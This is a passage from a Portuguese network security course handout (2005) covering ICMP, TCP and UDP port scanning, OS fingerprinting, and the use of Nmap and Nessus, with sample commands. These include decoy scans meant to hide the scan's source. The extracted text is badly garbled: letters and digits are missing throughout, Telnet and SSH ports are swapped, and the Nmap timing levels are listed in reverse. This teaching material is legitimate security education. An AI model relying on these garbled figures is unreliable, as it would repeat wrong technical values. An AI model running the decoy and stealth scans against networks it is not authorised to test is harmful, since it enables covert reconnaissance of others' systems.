Mas se seu objetivo descobrir quem est garimpando seu site atrs de endereo de e-mail, crie
endereos de e-mails dinmicos, atravs de java script, de tal modo que ele contenha a data, hora e
endereo ip de quem est acessando a pgina, logo ao receber um e-mail para endereos invalidos seu
servidor de e-mail pode repass-los para uma conta especial que o administrador dever monitorar, com
isto
ser possvel determinar quem ou de onde os robos esto sendo disparados.
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 40 de 71
Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005
) Analisando e varrendo a Rede
Para realizar a varredura da rede, caractersticas especficas do seu protocolo devem ser
exploradas. Como o protocolo de rede utilizado na especificao do modelo o TCP/P, as tcnicas de
varredura aqui descritas so aquelas que se baseiam nas caractersticas desta pilha de protocolo.
Sobre a pilha do TCP/P existem trs tipos bsicos de varreduras: uma baseada no seu protocolo de
controle (CMP), outra no protocolo TCP e a terceira no protocolo UDP. Dentre as varreduras, a mais
utilizada a TCP, isto se deve ao elevado nvel de exatido que esta coleta de dados propicia.
.1) Varredura CMP - nternet Control Message Protocol
Uma das tcnicas mais simples de varredura a Varredura via CMP. O protocolo CMP
normalmente utilizado para o envio e recebimento de informaes sobre o funcionamento dos ns, como
por
exemplo, data e hora.
Atravs deste protocolo possvel implementar vrios mtodos de varreduras, como por exemplo:
envio de ECHO e ECHO Reply; anlise de mensagens de erro geradas por um n, uso de Trace Route
com CMP ECHO e etc.
ICM! CHO e CHO Reply : Esta varredura consiste no envio de pacotes do tipo CMP
ECHO ao n alvo e aguardar por uma resposta. Todo n ativo deve responder a esta mensagem com um
pacote do tipo CMP ECHO Reply . Quando um n no responde aos pacotes CMP ECHO dentro de um
intervalo de tempo (time-out), o mesmo pode estar desconectado ou sendo filtrado por algum firewall ou
gateway de borda.
Um exemplo de varredura via CMP a utilizao do comando "ping" , que um aplicativo
padro TCP/P que est presente em vrias arquiteturas permite o envio de pacotes do
tipo CMP ECHO. para verificar se um n est ativo. Porm, esta forma de verificao no
indicada para redes com mais do que poucas dezenas de ns. O ping sempre espera a
resposda de um n ao pacote enviado, ou at que ocorra o time-out, antes de enviar um
outro pacote.
Uma alternativa ao ping o aplicativo fping, que utilitrio de rede disponvel para as
plataformas Unix-Like e que funciona de forma anloga ao ping, mas com o envio de
pacotes de forma paralela que utiliza a mesma tcnica, entretanto realiza o envio dos
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 41 de 71
Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005
pacotes CMP de forma simultnea para vrios endereos, acelerando o processo de
varredura da rede. Outra funcionalidade deste aplicativo a possibilidade de se configurar o
"time-out" da conexo.
O uso do endereo de Broadcast e de Rede so duas alternativas que podem ser utilizadas
neste tipo de varredura. Neste caso, todos os ns ativos na rede devem responder ao n
que originou a mensagem com um pacote CMP ECHO Reply. Desta forma, com um nico
pacote possvel varrer todo um segmento de rede. Entretanto, esta tcnica s pode ser
aplicada para ns baseados no Unix , uma vez que mquinas com sistema operacional da
Microsoft no respondem a solicitao CMP quando enviada ao endereo de Broadcast ou
de Rede.
Pois segundo a RFC1122, se um pacote CMP ECHO enviado via endereo de
Broadcast ou de Rede, o mesmo pode ser silenciosamente descartado pelo ns que o
recebe.
A varredura utilizando endereo de Broadcast ou Rede, pode provocar uma negao de
servio ( D.o.S - Denial-of-Service) no n responsvel pelo envio dos pacotes CMP ECHO.
Esta negao de servio ocorre devido grande quantidade de pacotes de resposta que ele
recebe para cada pacote CMP gerado.
on-CHO ICP Alm da mensagem CMP ECHO, o protocolo CMP implementa vrios
outros tipos de mensagens que podem ser utilizadas na varredura da rede e em alguns casos no prprio
mapeamento de dispositivos de rede. Dentre as principais mensagens CMP pode-se destacar: ECHO
( Request - Tipo , Reply - Tipo 0); Time Stamp ( Request - Tipo 13 , Reply - Tipo 14); nformation
( Request - Tipo 15 , Reply - Tipo 1) e Address Mask ( Request - Tipo 1 , Reply - Tipo 1).
O envio de mensagens do tipo CMP Time Stamp Request utilizado normalmente, para
questionar a um n a sua hora e data atual. Receber uma resposta CMP Time Stamp
Reply , significa que o n est ativo. Contudo, as mensagens CMP Time Stamp Request
no costumam ser respondidas por ns com um dos sistemas operacionais da Microsoft. O
comportamento dos sistemas da Microsoft se deve forma como a RFC 1122 foi
interpretada pelos seus desenvolvedores.
A mensagem CMP Address Mask Request utilizada por uma mquina sem disco, para
obter a mscara de rede durante seu processo de boot e tambm pode ser utilizada para
realizar a varredura da rede.
Quando uma solicitao deste tipo feita atravs do endereo de Broadcast todos os ns
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 42 de 71
Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005
que esto configurados para responder a esta mensagem envia um "reply" com o
endereo solicitado. Normalmente este tipo de mensagem respondida por Gateways,
Roteadores e em alguns casos por mquinas, que funcionam como agentes autorizados
para o fornecimento de mscara de rede.
ICM! rror Messages: Este mtodo consiste no envio de mensagens formatadas de tal
modo que ao serem recebidas pelo n produziro uma mensagem de erro do protocolo CMP.
Uma das formas de se provocar uma mensagem de erro atravs do envio de pacotes P
que possuem em seu cabealho campos incorretos. Pacotes deste tipo normalmente geram
uma mensagem de erro do tipo "CMP Parameter Problem Error" , que normalmente
possui o campo "Code" configurado para zero (0). Esta varredura permite identificar ns
ativos, independentemente dos protocolos (TCP/UDP/CMP) implementados por eles, que
tambm pode ser empregada sobre roteadores. Contudo, roteadores realizam uma
verificao mais relaxada dos campos do cabealho P, como afirma a RFC112 .
Outra vantagem que, esta tcnica pode ser aplicada mesmo se o n est sendo filtrado
por algum firewall , uma vez que as mensagens forjadas podem ser enviadas para portas
especficas, como por exemplo, as portas TCP: 21, 25, 0 e UDP 53.
ICM! Fragment Reassembly Time ceeded : Quando um n recebe um datagrama
fragmentado em vrios pacotes e ao remont-los percebe que esto faltando alguns pacotes, ele os
aguarda por um determinado perodo de tempo, quando ento ir descartar todos os pacotes e enviar ao
n que originou os datagramas, uma mensagem de erro do tipo: "CMP Fragment Reassembly Time
Exceeded" .
ICP ragmen9a9ion eeded and Don'9 ragmen9 i9 was Se9 Quando um roteador
recebe uma mensagem, ele verifica o valor do campo "PMTU" , se este for maior do que o valor que ele
est utilizando, o roteador pode retornar ao n, que gerou o pacote, uma mensagem de erro do tipo "CMP
Fragmentation Needed and Don't Fragment Bit was Set" .
Utilizando esta tcnica, possvel determinar a existncia de Roteadores entre a mquina
alvo e a mquina atual, bem como informaes especficas que podem ajudar determinar
a suposta marca e modelo deste equipamento.
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 43 de 71
Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005
.2) Varredura de Portas
Vrios gateways de segurana impedem o envio e o recebimento de pacotes CMP entre redes
distintas, para inibir a varredura CMP .
Quando as varreduras baseadas no protocolo CMP no podem ser utilizadas, a Varredura de
Portas uma alternativa eficiente, uma vez que sempre existem portas atravs das quais um gateway
permite o trfego de entrada e sada, como o caso das portas: 21 (FTP), 22 (Telnet), 23 (SSH), 25
(SMTP), 0 (HTTP), 110 (POP) e 443 (HTTPS) .
As varreduras de porta so normalmente baseadas ou no protocolo TCP ou no protocolo UDP .
Devido suas caractersticas, o protocolo TCP aquele que apresenta a maior variedade de tipos de
varredura.
.2.1) Varredura de Portas TCP
A varredura de portas TCP feita pelo envio de pacotes porta alvo e aguardando-se pelas
respostas. Quando a porta alvo responde, os pacotes recebidos tero alguns de seus campos analisados e,
com base nesta anlise, ser possvel determinar se a porta est aberta e o n ativo.
Atualmente, existem vrios tipos de varredura TCP, algumas das quais so descritas a seguir.
Varredura de Conexo TCP Nesta varredura, a mquina de origem tenta estabelecer uma
conexo vlida com a porta alvo, durante a qual deve ocorrer o "3 way handshake" do protocolo TCP, este
processo consiste no envio de um pacote "SYN" porta alvo, no recebimento de um pacote "SYN/ACK"
\ e finalmente no envio do pacote "ACK" porta alvo. Caso a conexo seja completada com sucesso,
possvel afirmar que a porta est aberta e o n ativo.
Por realizar uma conexo completa, esta varredura pode ser facilmente percebida por
ferramentas de deteco de intruso e por essa razo raramente utilizada com finalidade furtiva.
Varredura TCP SY esta varredura tambm conhecida como varredura semi-aberta, pois ao
receber o pacote "SYN/ACK" vindo da porta alvo, o n, que originou a primeiro pacote, no responde com
o pacote "ACK" . Ao receber o pacote com os bits "SYN/ACK" setados, o n pode-se afirmar que a porta
est aberta. Contudo, se for recebido um pacote com os bits "RST/ACK" , a porta provavelmente no est
no estado de escuta.
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 44 de 71
Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005
Por ser uma tcnica mais furtiva, vrios sistema de monitoramento no registram este tipo de
varredura.
Varredura TCP I este tcnica muito utilizada contra sistemas baseados em UNX, pois
quando estes recebem um pacote "FN" destinado porta fechada, eles enviam de volta um pacote "RST",
contudo o mesmo no acontece com sistemas Windows que ignoram o pacote. Este padro documentado
na RFC3 .
Varredura TCP Xmas Tree neste caso ocorre o envio de um pacote com os bits "FN" , "URG" e
"PUSH" ligados porta alvo e segundo a RFC3, toda porta fechada deve responder com um pacote
"RST"
Varredura TC! NULL : Quando uma porta alvo recebe um pacote com todos os flags desligados
(setados como 0), ela deve responder com um pacote "RST" caso esteja fechada.
Varredura TC! ACK : Esta tcnica usada para mapear regras de um determinado firewall,
permitindo determinar se o firewall apenas um filtro de pacote ou um firewall de estados.
Varredura TC! Windows : Esta tcnica analisa o tamanho do campo Window do protocolo TCP e
permite determinar se a porta est aberta , filtrada ou no filtrada . Esta anlise possvel, pois alguns
gateways de segurana alteram o valor deste campo quando filtram determinadas portas.
Varredura TCP RPC Esta tcnica permite identificar qual a verso dos aplicativos RPC \footnote
{O servio RPC (Remote Procedure Call) especifico do sistema operacional UNX. que esto ativos em
um n Unix Like. Alguns dos servios que fazem uso do RPC so o NFS (Network File System) e o NS
(Network nformation Service).
.2.2) Varredura de Portas UDP
Apesar de existirem vrios tipos de varreduras TCP, existe somente uma baseada no protocolo
UDP. Esta nica varredura consiste no envio de "datagramas" com zero (0) bytes de dados porta alvo. A
resposta pode ser uma mensagem "CMP port unreachable" indicando que a porta est fechada, caso no
ocorra nenhuma resposta, a porta pode estar aberta ou sendo filtrada.
Quando datagramas so enviados a vrias portas de uma mquina e um grande nmero delas no
os responde, estas provavelmente esto em estado de escuta. Por outro lado, se nenhuma porta responde,
isto pode indicar que ou o n est fora do ar ou o mesmo est sendo filtrado.
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 45 de 71
Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005
Uma forma alternativa de anlise consiste na escolha de uma porta UDP que, segundo a lista de
porta definida pela ANA, no deve estar em estado de escuta, e no envio de pacotes, se a mesma no
responder com uma mensagem "CMP Port Unreachable Error" porque ela est sendo filtrada.
Existe uma grande quantidade de ferramentas disponveis para se realizar a varredura de redes de
computadores, no entanto, apenas algumas se destacam pelas suas funcionalidades, dentre elas:
Varredura de ICM!: Ping, Fping, Hping, Nmap, cmpenum e cmpquery.
Varredura de Por9as Nmap, Strobe, Udp_scan e Netcat.
.3) Coleta do sistema operacional dos ns remotos
Utilizando-se das tcnicas de varredura, o modelo pode realizar o mapeamento de todo um
segmento de rede, identificando ns ativos e portas abertas, porm estas tcnicas no permitem
determinar,
com exatido, o Sistema Operacional ativo em um n remoto e portanto necessrio o uso de uma outra
metodologia para este fim.
A metodologia comumente utilizada para determinar o sistema operacional de um n se baseia na
coleta de seu "fingerprint" ou sua "impresso digital" . Quando os desenvolvedores dos vrios sistemas
operacionais implementam a pilha do protocolo TCP/P , eles normalmente interpretam de forma distinta
as recomendaes feitas pelas RFCs e produzem pilhas com caractersticas prprias. Estas
caractersticas formam o "fingerprinting" de um n.
Analisando o comportamento da pilha de uma determinada verso de um sistema operacional e
mapeando o resultado dentro de um banco de dados, possvel utilizar estes dados para a verificao do
sistema operacional de outros ns.
O "fingerprinting" de um n pode ser coletado de forma Ativa , atravs do envio de pacotes ao n
alvo e da anlise do pacotes recebidos, e de forma Passiva , pela anlise de pacotes pertencentes a
conexes j estabelecidas e coletados diretamente pela interface de rede.
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 46 de 71
Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005
.3.1) Coleta ativa do fingerprinting
A coleta ativa do "fingerprinting" consiste no envio de pacotes prviamente formatados para o n
alvo e na anlise de campos especficos dos pacotes recebidos como resposta. Neste tipo de coleta, a
interface de rede no necessita ser colocada em modo promscuo.
O "fingerprinting" ativo possui um elevado nvel de exatido, mas falha quando as caractersticas
da pilha TCP/P so alteradas pelo seu administrador. sto normalmente ocorre quando o administrador
realiza otimizaes no n ou quando ele implementa uma poltica baseada em "obscuridade" , na qual o
"fingerprinting" alterado para forjar um outro sistema operacional.
A coleta ativa da impresso digital de um n pode ser realizada atravs de vrias anlises simples,
tais como:
Sonda FIN: segundo a RFC3 , quando uma porta aberta recebe um pacote "FN" no deve
responder, entretanto algumas pilhas TCP/P , como o caso da pilha do Windows NT, responde com uma
mensagem FN/ACK ;
Sonda de Iag aIso: consiste no envio de um pacote SYN com o flag indefinido configurado
como "1" , dependendo do sistema operacional. Este pacote pode ser respondido atravs de um pacote
com o mesmo flag setado em "1". Este procedimento implementado pelo Linux e por outros sistemas
Unix Like ;
Bit no Fragmentar: para permitir um melhor desempenho do protocolo, TCP/P alguns sistema
operacionais setam este campo com o valor "1" e outros, como o caso do Solaris , no permitem o seu
uso;
Tamano da Janela TC!: o tamanho deste campo normalmente dependente do sistema
operacional. Por exemplo: o AX o nico sistema operacional a utilizar o valor Ox3F25 para este campo;
Numero Seqencial do ACK: esta tcnica consiste em observar o valor do nmero seqencial do
pacote ACK . Alguns sistemas respondem ao pacote com o mesmo nmero seqencial daquele que o
originou, outros incrementam este valor em uma unidade antes de respond-lo;
Limitao das Mensagem de rro ICM!: alguns sistemas operacionais, seguindo as
recomendaes da RFC112, limitam a taxa de envio das mensagens de erro CMP a um determinado valor
por intervalo de tempo. Sendo este valor padronizado, basta enviar vrios pacotes UDP uma porta
fechada e aguaradar a mensagem "CMP port unreachable" . Esta tcnica normalmente no muito
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 47 de 71
Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005
utilizada, pois torna a coleta do fingerprinting lenta ;
Tipo de Ser;io (TOS): a maioria dos sistema operacionais setam este campo para zero (0)
quando enviam uma mensagem " CMP port unreachable ", apesar de alguns sistemas operacionais utilizam
valores diferentes.
Opes do TC!: as opes bsicas do protocolo TCP so determinadas pela RFC3 e pela
RFC1323, j as opes avanadas so definidas pela RFC1323. Realizando o envio de vrios pacotes com
valores especficos nestes campos e analisando a resposta, pode-se supor o sistema operacional ativo,
visto que nem todos os sistemas implementam todas as opes descritas nestas RCFs .
Existem ainda outras tcnicas que no se utilizam de pacotes TCP ou UDP, ao invs disto, fazem
uso de mensagens de CMP. Estas tcnicas foram utilizadas por Ofir Arkin na construo da ferramenta
Xprobe .
.3.2) Coleta passiva do fingerprinting
A coleta passiva consiste na captura de pacotes, pertencentes s conexes ativas, por um sniffer.
Sniffers so utilitrios de rede que operam em modo promscuo e permitem a coleta dos dados das
conexes de outras estaes de trabalho, sem que ocorra a alterao da mesma ou que a ao seja
detectada e da anlise dos mesmos. Esta coleta necessita que a interface de rede esteja operando em
modo promscuo. No modo promscuo todo o trfego de dados pode ser capturado por uma interface de
rede, independentemente do endereo de destino , no gerando assim trfego na rede.
O fingerprinting passivo possui a grande de vantagem ser indetectvel pelo n alvo. Por outro lado,
caso existam pacotes forjados circulando pela rede, a coleta passiva pode ser induzida a determinar de
forma errnea o sistema operacional de alguns ns.
A anlise dos pacotes coletados pela interface de rede tem por finalidade determinar as
"idiossincrasias" nas implementaes das pilhas TCP/P de cada sistema operacional.
Os principais campos utilizados para identificar o sistema operacional de um n so: o TTL , o
Windows Size , o DF e o TOS , pois possuem valores tabelados de acordo com o sistema operacional e
sua verso.
Durante uma anlise, o primeiro campo verificado o campo TTL . Quando o valor deste campo
igual 4, o pacote provavelmente pertence a um n com Linux ou FreeBSD.
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 48 de 71
Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005
O segundo campo analisado o Windows Size , que normalmente possui valor igual a 0xD
quando a mquina possui uma verso do Windows ou do Linux instalado. O terceiro campo verificado o
flag DF , que indica se o pacotes est fragmentado ou no. Poucos so os sistemas que setam este bit
como "zero", mas o SCO e o OpenBSD utilizam este padro. O ultimo campo verificado o TOS , que na
maioria das mensagem est setado para "zero".
Por exemplo: suponha que um dos pacotes capturados pelo "sniffer" apresente as caractersticas
abaixo . Cruzando os dados coletados com as informaes acima, pode-se concluir que o n provavelmente
roda uma verso do Kernel do Linux.
TTL 4
Window Size 0xD
DF bit 1
TOS 0x0
Outros campos tambm podem ser utilizados na deteco do sistema operacional de forma passiva,
mas softwares como o Siphon, p0f e o Cheops utilizam somente estes quatro campos para gerar e
verificar as assinaturas dos sistemas operacionais.
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 49 de 71
Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005
)Kit de Ferramentas
As prximas sesses apresentam algumas ferramentas comumente utilizadas por administradores
no processo de verificaao do nvel de segurana de seus ambientes.
.1) Nmap
O Nmap fornece, de uma maneira geral, a relao de computadores e servios ativos. Existem
diversas formas e parmetros a serem informados durante uma varredura. Para obter o cdigo fonte s
acessar o link abaixo e procurar por "Latest Stable Version Tarball:
http://www.insecure.org/nmap_download.html
Este aplicativo possui os seguintes mtodos de varredura:
-sP ou Ping scan Algumas vezes necessrio saber se um determinado host ou rede est
no ar. Nmap pode enviar pacotes CMP "echo request para verificar se determinado host
ou rede est ativa. Hoje em dia, existem muitos filtros que rejeitam os pacotes CMP
"echo request, ento envia um pacote TCP ACK para a porta 0 (default) e caso receba
RST o alvo est ativo. A terceira tcnica envia um pacote SYN e espera um RST ou
SYN-ACK.
-sR ou RCP scan Este mtodo trabalha em conjunto com vrias tcnicas do Nmap. Ele
considera todas as portas TCP e UDP abertas e envia comandos NULL SunRPC, para
determinar se realmente so portas RPC. como se o comando "rpcinfo -p estivesse
sendo utilizado, mesmo atravs de um firewall ( ou protegido por TCP wrappers ).
-sS ou TCP SY scan Tcnica tambm conhecida como "alf-open, pois no abre uma
conexo TCP completa. enviado um pacote SYN, como se ele fosse uma conexo real
e aguarda uma resposta. Caso um pacote SYN-ACK seja recebido, a porta est aberta,
enquanto um como resposta indica que a porta est fechada. A vantagem dessa
abordagem que poucos iro detectar esse scanning de portas.
-sT ou TCP connec9() scan a tcnica mais bsica de TCP scanning. utilizada a chamada
de sistema (system call) "connect() que envia um sinal as portas ativas. Caso a porta
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 50 de 71
Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005
esteja aberta recebe como resposta "connect(). um dos scan mais rpidos, porm
fcil de ser detectado.
-sU ou U! scan: Este mtodo utilizado para determinar qual porta UDP est aberta em um
host. A tcnica consiste em enviar um pacote UDP de 0 byte para cada porta do host. Se
for recebido uma mensagem CMP "port unreachable ento a porta est fechada, seno
a porta pode estar aberta. Para variar um pouco, a Microsoft ignorou a sugesto da RFC
e com isso a varredura de mquinas Windows muito rpida.
-sV ou Version detection: Aps as portas TCP e/ou UDP serem descobertas por algum dos
mtodos, o nmap ir determinar qual o servio est rodando atualmente. O arquivo
nmap-service-probes utilizado para determinar tipos de protocolos, nome da aplicao,
nmero da verso e outros detalhes.
-s, -sX, -s ou Stealth FN, Xmas Tree ou Null: Alguns firewalls e filtros de pacotes detectam
pacotes SYN's em portas restritas, ento necessrio utilizar mtodos avanados para
atravessar esses softwares.
FIN: Portas fechadas enviam um pacote RST como resposta a pacotes FN, enquanto
portas abertas ignoram esses pacotes. (Esse mtodo no funciona com a plataforma Windows,
uma vez que a Microsoft no seguiu RFC 3)
Xmas Tree: Portas fechadas enviam um pacote RST como resposta a pacotes FN,
enquanto portas abertas ignoram esses pacotes. As flags FN, URG e PUSH so utilizados no
pacotes FN que enviado ao alvo. (Esse mtodo no funciona com a plataforma Windows, uma
vez que a Microsoft no seguiu RFC 3)
Null: Portas fechadas enviam um pacote RST como resposta a pacotes FN, enquanto
portas abertas ignoram esses pacotes. Nenhuma flag ligada no pacote FN. (Esse mtodo no
funciona com a plataforma Windows, uma vez que a Microsoft no seguiu RFC 3)
Alm destas o nmap possui outras opes de uso geral, das quais podemos destacar:
-D decoy1 [,decoy2][,VOCE],...> :Durante uma varredura, utiliza uma srie de endereos
falsificados, simulando que o scanning tenha originado desses vrios hosts, sendo praticamente
impossvel identifiicar a verdadeira origem da varredura.
nmap -D P1,P2,P3,P4,P,SEU_P alvo
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 51 de 71
Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005
- Procura pelas portas que esto no /etc/services. Mtodo mais rpido, porm no
procurar por todas as portas.
nmap -F alvo
-I Se o host estiver utilizando o ident, possvel identificar o dono dos servios que esto
sendo executados no servidor (trabalha com a opo -sT)
nmap -sT - alvo
-n No ir resolver nome de hosts a ser varrido.
nmap -n alvo
-O Ativa a identificao do host remoto via TCP/P. r apresentar verso do Sistema
Operacional e tempo ativo.
nmap -O alvo
-p lista_de_portas> : Especifica quais portas devem ser verificadas na varredura. Por
default, todas as portas entre 1 e 1024 so varridas.
nmap -p 22,0 alvo
nmap -p U:53,111,13,T:21-25,0,13,00
-P0 No tenta pingar o host antes de iniciar a varredura. sto permite varrer alvos que
bloqueiam CMP "echo request (ou responses) atravs de firewall.
nmap -P0 alvo
-PS[lista_de_portas] :Usa pacotes SYN para determinar se o host est ativo.
nmap -PS0 alvo
-PT[lista_de_portas] : Usa TCP "ping para determinar se o host est ativo.
nmap -PT0 alvo
-R r resolver nome de hosts a ser varrido.
nmap -R0 alvo
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 52 de 71
Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005
-r A varredura ser feita nas portas randomicamente, no seguinte a ordem crescente.
nmap -r alvo
-T Paranoid|Sneaky|Polite|Normal|Aggressive|nsane>
Esse parmetro seta a prioridade de varredura do Nmap:
Paranoid (-T5) muito lento na esperana de prevenir a deteco pelo sistema DS.
Este serializa todos os scans (scanning no paralelo) e geralmente espera no
mnimo 5 minutos entre o envio de pacotes.
Sneaky (-T4) similar ao Paranoid, exceto que somente espera 15 segundos entre o
envio de pacotes.
PoIi9e (-T3) tem o significado para facilitar a carga na rede e reduzir as chances de
travar a mquina. Ele serializa os testes e espera no mnimo 0.4 segundos entre eles.
ormaI (-T2) o comportamento default do Nmap, o qual tenta executar to rpido
quanto possvel sem sobrecarregar a rede ou perder hosts/portas.
ggressive(-T1) esse modo adiciona um timeout de 5 minutos por host e nunca
espera mais que 1.25 segundos para testar as respostas.
Insane (-T0) somente adequando para redes muito rpidas ou onde voc no
se importa em perder algumas informaes. Nesta opo o timeout dos hosts
acontecem em 5 segundos e espera somente 0.3 segundos por teste individual.
-99I valor> : Altera o valor do TTL (Time to Live), dessa forma dificulta a origem do
pacote.
nmap -ttl 55 alvo
-v Modo verbose. Mostra tudo o que est se passando.
nmap -v alvo
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 53 de 71
Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005
Para facilitar o processo de aprendizagem seguem alguns exemplo e utilizao:
nmap -v alvo
Esta opo faz a varredura de todas as portas TCP reservadas.
nmap -sS -O alvo
Lana uma varredura TCP Syn contra cada mquina que est ativa, abrangendo todas
as 255 mquinas de classe "C onde alvo faz parte. Alm disso determina o sistema
operacional de cada host.
nmap -sX -p 22,53,110,143 alvo
Envia uma varredura Xmas Tree para o alvo, alm de varrer somente os servios de
sshd, Dns, pop3d e imapd.
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 54 de 71
Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005
.2) Nessus
Nessus uma ferramenta para auditoria de segurana. Com ele possvel verificar varias
vulnerabilidades em sua rede. O nessus permite que se faa isso de uma forma segura, nao permitindo que
usurios no autorizados possam scanear sua rede com ele. Ele composto por duas partes, sendo um
cliente e um servidor. Pode-se us-lo a partir do windows, porm isso no ser abordado nesse artigo.
Ele possui uma srie de recursos bastante interessantes como trabalhar em conjunto com o nmap e
tambm a possibilidade de atualizao apenas baixando novos plugins de ataques e/ou vulnerabilidades. O
Nessus foi criado em 1 por Renaud Deraison, sendo que naquela poca o melhor security scanner era o
SATAN ( que se encontrava bastante desatualizado ). Deraison resolveu dividir o sistema em plugins,
facilitando muito a atualizao e a preveno contra novos ataques. A partir da verso 1.0.0 foi criado um
script que automaticamente atualiza o plugins para que o nessus possa detectar uma nova vulnerabilidade e
assim sugerir uma forma ou explicao para corrigi-la.
O nessus possui uma GU muito flexvel onde voc configura vrios detalhes de varredura na sua
rede. Nela pode-se configurar quais plugins( ataques ) usar e os hosts(targets) que sero scanneados.
Primeiramente rode o nessus cliente, bastando para isso digitar nessus na linha de comando. Ele pedir,
entao, a senha que voc configurou inicialmente. Vamos abordar agora quais so as opes de
configurao do cliente nessus.
essus hos9 : nesta aba de configurao voc deve especificar o endereo ip do daemon nessus e
tambm a porta tcp em que ele est rodando (geralmente 1241). Nesta tela tambm possvel optar pelo
algoritmo de criptografia que ser usado. Tambm preciso especificar o nome do usurio para logar no
daemon.
PIugins : Aqui reside todo o poder do nessus, nesta aba se encontram as exploraes (exploits) das
vulnerabilidades conhecidas em forma de plugins. O nessus se vale destes plugins para avaliar as
vulnerabilidades do sistema scanneado.
Prefs. : So especificados valores como usurios e senhas de servios como ftp, pop, imap e smb.
De porte desses dados o nessus pode fazer verificaes muito mais eficitentes nos seus hosts, j que
alguns exploits pressupem que o "explorador" possui uma conta vlida de algum desses servios. Tambm
possvel configurar o tipo de scan que ser usado pelo nmap ( caso possua ).
Scan Option -> Aqui pode-se especificar as portas que sero scaneadas pelo nessus, use virgula
para portas individuais e hfen para intervalos(0,110,443-1024). No caso de utilizar o nessus para scanear
servidores web bastante interessante especificar o path, ou caminho, dos CG's no seu servidor. Por
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 55 de 71
Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005
exemplo se voc especificar o path /cgi-bin/ para o nessus procurar por CG's "exploitveis" em
http://host/cgi-bin/.
Targe9 SeIec9ion Preencha o nico campo desta aba para especificar as mquinas que sero
scaneadas. Clicando no boto "Read file..." voc especifica um arquivo onde esto o endereos P das
mquinas a serem verificadas.
User Aqui esto suas informaces pessoais como a chave que deve ser usada e tambm pode-se
trocar a sua senha do nessus
Abaixo temos as principais telas deste aplicativo:
( Aba Host) (Aba Plugins)
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 56 de 71
Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005
( Aba Perfs) (Aba Scan Options)
( Aba Target Selection) (Aba KB)
Prof. Lus Rodrigo de O. Gonalves :: luisrodrigoog@gmail.com :: www.lrodrigo.cjb.net Pgina 57 de 71
Apostila do Curso de Segurana DRAF 0.4 - Petrpolis, 5 de Maro de 2005
.2.1)niciando a inspeo na sua rede.
Assim que voc iniciar o nessus lhe ser solicitado a senha. A primeira tela que ir surgir a nessus
host nesta tela se encontram, alm da opes citadas acima, o boto de login clicando nele voc ja poder
configurar os plugins que sero utilizados. Agora na aba Plugins voc escolhe quais "ataques" e
exploraes devero ser aplicadas aos seus alvos. Como j foi citado este um dos maiores diferenciais do
nessus, os plugins esto separados por categorias e cada um deles possui um texto explicando o que
aquele exploit faz e tambm o grau de risco bem como resolver o problema caso esta vulnerabilidade seja
encontrada. Caso alvos sejam mquinas que esto em produo no aconselho usar utilizar o plugins de
DoS e nem aqules que possuem um sinal de alerta ao lado assim evitamos surpresas. Se os alvos
estiverem abertos para internet importante marcar ao menos as seguintes categorias : Gain Shell
Remotely, Gain Root Remotely, Backdoors, Remote File Access. Cabe a voc analisar quais plugins
devero ser utilizados na varredura, caso sua rede seja composta apenas por sistemas *NX no existe a
menor necessidade de utilizar os plugins referentes a Wingate, por exemplo.
Aps escolher os plugins mais adequandos a sua rede vamos escolher quais hosts sero
scaneados. Clique na aba Target Selection e especifique as mquinas que deseja scanear ( todas elas
devem estar com o nessusd rodando ). Como mencionado acima voc deve colocar os alvos(targets)
separados por vrgula ou especificar um arquivo de onde onde o nessus ir ler os alvos.
